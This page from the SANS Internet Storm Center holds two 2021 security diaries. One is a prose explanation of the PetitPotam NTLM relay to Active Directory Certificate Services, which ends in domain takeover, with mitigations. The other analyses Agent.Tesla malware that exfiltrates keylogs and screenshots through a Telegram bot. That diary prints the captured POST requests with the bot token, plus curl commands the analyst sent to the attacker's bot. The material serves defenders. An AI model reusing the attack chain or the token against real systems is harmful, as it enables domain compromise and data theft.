Threat Level: green Handler on Duty: Xavier Mertens

SANS ISC: SANS Internet Storm Center SANS Internet Storm Center

Sign Up for Free!   Forgot Password?
Log In or Sign Up for Free!

Latest Diaries

Active Directory Certificate Services (ADCS - PKI) domain admin vulnerability

Published: 2021-07-24
Last Updated: 2021-07-24 18:51:31 UTC
by Bojan Zdrnja (Version: 1)
0 comment(s)

Phew, this was a really bad week for Microsoft (and a lot of reading for all of us). And just when we thought that the fiasco with the SAM hive was over, a new vulnerability popped up, which is much, much more dangerous unfortunately – it allows a user to completely take over a Windows domain that has the ADCS service running. And those are probably running in majority of enterprises.

This involves chaining few things (and I’m a big fan of chaining vulnerabilities), and the bottom line issue is in relaying NTLM authentications (as has been many, many times before).

This is what’s going on now:

(1) Let’s provoke arbitrary NTLM authentication

Earlier this week, @topotam77 released a PoC tool called PetitPotam, which exploits the MS-EFSRPC (Encrypting File System Remote (EFSRPC)) protocol in order to provoke one Windows host to try to authenticate to another. This is done over LSARPC (TCP port 445) and results in making the target server connect to an arbitrary server and perform NTLM authentication.

What’s even crazier is that this can be done without any authentication – so as long as you can connect to the target server to the LSARPC named pipe with interface c681d488-d850-11d0-8c52-00c04fd90f7e, you can make that target server connect to any other server.

Here’s how this can be done:

(2) Relaying to Active Directory Certificate Services

The other vulnerability that is being exploited here is the fact that the IIS server that is used by Active Directory Certificate Services uses NTLM over HTTP for authentication. This makes it perfect for this attack. @ExAndroidDev made a fork of the amazing Responder Impacket tool and added support for this attack.

Basically, what the fork is doing is using allowing relaying of NTLM authentication to the Active Directory Certificate Services IIS server. In this process it first sends a POST HTTP request to the /certsrv/ endpoint with an automatically generated certificate. While doing this it also passes the NTLM credentials.

If the POST request was successful, the Active Directory Certificate Services server will sign the certificate and Responder will fetch it by sending a GET HTTP request to /certsrv/certnew.cer?ReqID= where the parameter will be provided as response to the POST request.

This is what it looks like when executed:

With the certificate now, it is actually game over.

(3)    Using Rubeus to get a TGT

The attacker can now use the Rubeus tool to fetch a Kerberos TGT (Ticket Granting Ticket), by using the machine account that was initially abused to make the NTLM connection. You can probably guess it by now – if that machine was a domain controller, we can get the TGT as that domain controller machine account, which will then ultimately allow the attacker to fully compromise the domain.

It is really game over now. With this TGT in our cache, we can fetch service tickets and perform any action we want, including the Mimikatz’ famous DCSync as @gentilkiwi demonstrated.

Talk about a bad week. And weekend. Sowhat can we do?

One of main issues here is that Active Directory Certificate Services use NTLM for authentication:

So, depending on how your enterprise uses ADCS, you could disable NTLM authentication on the IIS server and this particular attack will not be possible any more. Of course, if you do not need this particular service (web based certificate enroll) – remove it completely!

Couple of other things that will help:

  • Use host based firewalls to limit connectivity as much as possible. Does your DC need to make outbound connections to port 445? Do your workstations need to allow inbound connectivity to port 445?
  • Collect IIS logs from the Active Directory Certificate Services server to your SIEM and check for those requests mentioned above.

We’ll (again) keep an eye on this, and will update the diary with new information when possible. But it looks like it will be a busy weekend for some.


0 comment(s)

Agent.Tesla Dropped via a .daa Image and Talking to Telegram

Published: 2021-07-24
Last Updated: 2021-07-24 06:47:29 UTC
by Xavier Mertens (Version: 1)
0 comment(s)

A few days ago, I found an interesting file delivered by email (why change a winning combination?). The file has a nice extension: “.daa” (Direct Access Archive). We already reported such files in 2019 and Didier wrote a diary[1] about them. Default Windows installation, can’t process “.daa” files, you need a specific tool to open them (like PowerISO). I converted the archive into an ISO file and extracted the PE file inside it.

The sample was called “E445333###.exe” (SHA256:853a7edf8144e06014e0c1a841d1f1840de954a866d5ce73ff12833394ff0ead) and has a VT score of 48/70[2]. It’s a classic Agent.Tesla but this one uses another C2 channel to exfiltrate data. Instead of using open email servers, it uses Telegram (the messenger application). I started to debug the PE file (a classic .Net executable) but it took a lot of time before reaching some interesting activity so I took another approach and went back to a classic behavioral analysis. I fired a REM Workstation, connected it to the Internet through a REMnux, and launched the executable.

It took some time (approx 15 mins) before I saw the first connection to api[.]telegram[.]org:

POST hxxps://api[.]telegram[.]org/bot1815802853:AAFwTZ6mRU-UOmcTcCR8glZAAkNmzHpMkL8/sendDocument HTTP/1.1

Content-Type: multipart/form-data; boundary=---------------------------8d94d2d30eed79c

Content-Length: 983
Expect: 100-continue
Connection: Keep-Alive
Content-Disposition: form-data; name="chat_id"

Content-Disposition: form-data; name="caption"

New Log Recovered!
OSFullName: Microsoft Windows 10 Enterprise
CPU: Intel(R) Core(TM) i9-9980HK CPU @ 2.40GHz
RAM: 8191.49 MB
Content-Disposition: form-data; name="document"; filename="REM-DESKTOP-2C3IQHO 2021-07-22 04-24-32.html"
Content-Type: text/html

Time: 07/22/2021 16:24:31<br>User Name: REM<br>Computer Name: DESKTOP-2C3IQHO<br>OSFullName: Microsoft Windows 10 Enterprise<br>CPU: Intel(R) Core(TM) i9-9980HK CPU @ 2.40GHz<br>RAM: 8191.49 MB<br>IP Address: <br><hr><br><font color="#00b1ba"><b>[ Process Hacker: </b>Filter <b>]</b> <font color="#000000">(07/22/2021 16:01:01)</font></font><br>api<font color="#00ba66">{ENTER}</font><br>


And the reply:

HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Thu, 22 Jul 2021 14:24:34 GMT
Content-Type: application/json
Content-Length: 662
Connection: keep-alive
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET, POST, OPTIONS
Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

{"ok":true,"result":{"message_id":6630,"from":{"id":1815802853,"is_bot":true,"first_name":"Bigdealz","username":"Bigdealzbot"},"chat":{"id":1599705393,"first_name":"Gracia","last_name":"Smith","username":"Graciasmith1","type":"private"},"date":1626963874,"document":{"file_name":"REM-DESKTOP-2C3IQHO 2021-07-22 04-24-32.html","mime_type":"text/html","file_id":"BQACAgQAAxkDAAIZ5mD5f6KNxerk3Fq4TG00ctuw4KRbAAJYCAACBovJUw5z5vTXh3vBIAQ","file_unique_id":"AgADWAgAAgaLyVM","file_size":388},"caption":"New Log Recovered!\n\nUser Name: REM/DESKTOP-2C3IQHO\nOSFullName: Microsoft Windows 10 Enterprise\nCPU: Intel(R) Core(TM) i9-9980HK CPU @ 2.40GHz\nRAM: 8191.49 MB"}}

A few minutes later, the Trojan started to exfiltrate screenshots:

POST hxxps://api[.]telegram[.]org/bot1815802853:AAFwTZ6mRU-UOmcTcCR8glZAAkNmzHpMkL8/sendDocument HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------8d94d3662696c53
Content-Length: 194635
Expect: 100-continue
Connection: Keep-Alive

Content-Disposition: form-data; name="chat_id"


Content-Disposition: form-data; name="caption"

New Screenshot Recovered!
OSFullName: Microsoft Windows 10 Enterprise
CPU: Intel(R) Core(TM) i9-9980HK CPU @ 2.40GHz
RAM: 8191.49 MB

Content-Disposition: form-data; name="document"; filename="REM-DESKTOP-2C3IQHO 2021-07-22 05-30-21.jpeg"
Content-Type: image/jpeg

[stuff deleted]

The file that is uploaded contains a timestamp. This confirmed to me that a screenshot is exfiltrated every hour.

Because we know the bot ID, we can interact with it.

Let’s check the bot info:

remnux@remnux:~$ curl -s hxxps://api[.]telegram[.]org/bot1815802853:AAFwTZ6mRU-UOmcTcCR8glZAAkNmzHpMkL8/getMe | jq
  "ok": true,
  "result": {
    "id": 1815802853,
    "is_bot": true,
    "first_name": "Bigdealz",
    "username": "Bigdealzbot",
    "can_join_groups": true,
    "can_read_all_group_messages": false,
    "supports_inline_queries": false

The user the bot is talking to is "Graciasmith1" (still online on Telegram when I'm writing this diary). Let's make it aware that we are also alive:

remnux@remnux:~$  curl -s hxxps://api[.]telegram[.]org/bot1815802853:AAFwTZ6mRU-UOmcTcCR8glZAAkNmzHpMkL8/sendMessage -X POST -d '{"chat_id":"1599705393", "text":"Ping"}' -H "Content-Type: application/json" | jq
  "ok": true,
  "result": {
    "message_id": 6884,
    "from": {
      "id": 1815802853,
      "is_bot": true,
      "first_name": "Bigdealz",
      "username": "Bigdealzbot"
    "chat": {
      "id": 1599705393,
      "first_name": "Gracia",
      "last_name": "Smith",
      "username": "Graciasmith1",
      "type": "private"
    "date": 1627107886,
    "text": "Ping"

As you can see, today it's very touchy to spot malicious activity just by watching classic IOCs like IP addresses or domain names. Except if you prevent your users to access social networks like Telegram, who will flag traffic to as suspicious? Behavioral monitoring can be the key: You can see requests at regular intervals, outside business hours, or from hosts that should not execute social network applications. Because your servers can access the Internet directly, right? ;-)


Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant

0 comment(s)

If you have more information or corrections regarding our diary, please share.

Recent Diaries

Uncovering Shenanigans in an IP Address Block via Hurricane Electric's BGP Toolkit (II)
Jul 23rd 2021
1 day ago by Yee Ching (0 comments)

Lost in the Cloud: Akamai DNS Outage
Jul 22nd 2021
2 days ago by Johannes (0 comments)

"Summer of SAM": Microsoft Releases Guidance for CVE-2021-36934
Jul 22nd 2021
2 days ago by Johannes (0 comments)

Summer of SAM - incorrect permissions on Windows 10/11 hives
Jul 20th 2021
4 days ago by Bojan (0 comments)

New Windows Print Spooler Vulnerability - CVE-2021-34481
Jul 19th 2021
5 days ago by Rick (0 comments)

Video: CyberChef BASE85 Decoding
Jul 18th 2021
6 days ago by DidierStevens (0 comments)

BASE85 Decoding With
Jul 17th 2021
1 week ago by DidierStevens (0 comments)

View All Diaries →

Latest Discussions

Dshield Sensor
created Jun 8th 2021
1 month ago by Rick (0 replies)

API port data
created Apr 25th 2021
2 months ago by JJ (1 reply)

RSS feed containing non-XML compatible characters
created Apr 14th 2021
3 months ago by Anonymous (1 reply)

Handler's Diary (Full text) RSS Feeds stopt working due to a typo
created Mar 5th 2021
4 months ago by (0 replies)

port_scan issue in Snort3
created Feb 23rd 2021
4 months ago by astraea (0 replies)

View All Forums →

Latest News

Top Diaries

Securing and Optimizing Networks: Using pfSense Traffic Shaper Limiters to Combat Bufferbloat
Jul 12th 2021
1 week ago by Johannes (0 comments)

Maldocs: Protection Passwords
Feb 28th 2021
4 months ago by DidierStevens (0 comments)

DIY CD/DVD Destruction - Follow Up
Jul 4th 2021
2 weeks ago by DidierStevens (0 comments)

An infection from Rig exploit kit
Jun 17th 2019
2 years ago by Brad (0 comments)

Qakbot infection with Cobalt Strike
Mar 3rd 2021
4 months ago by Brad (0 comments)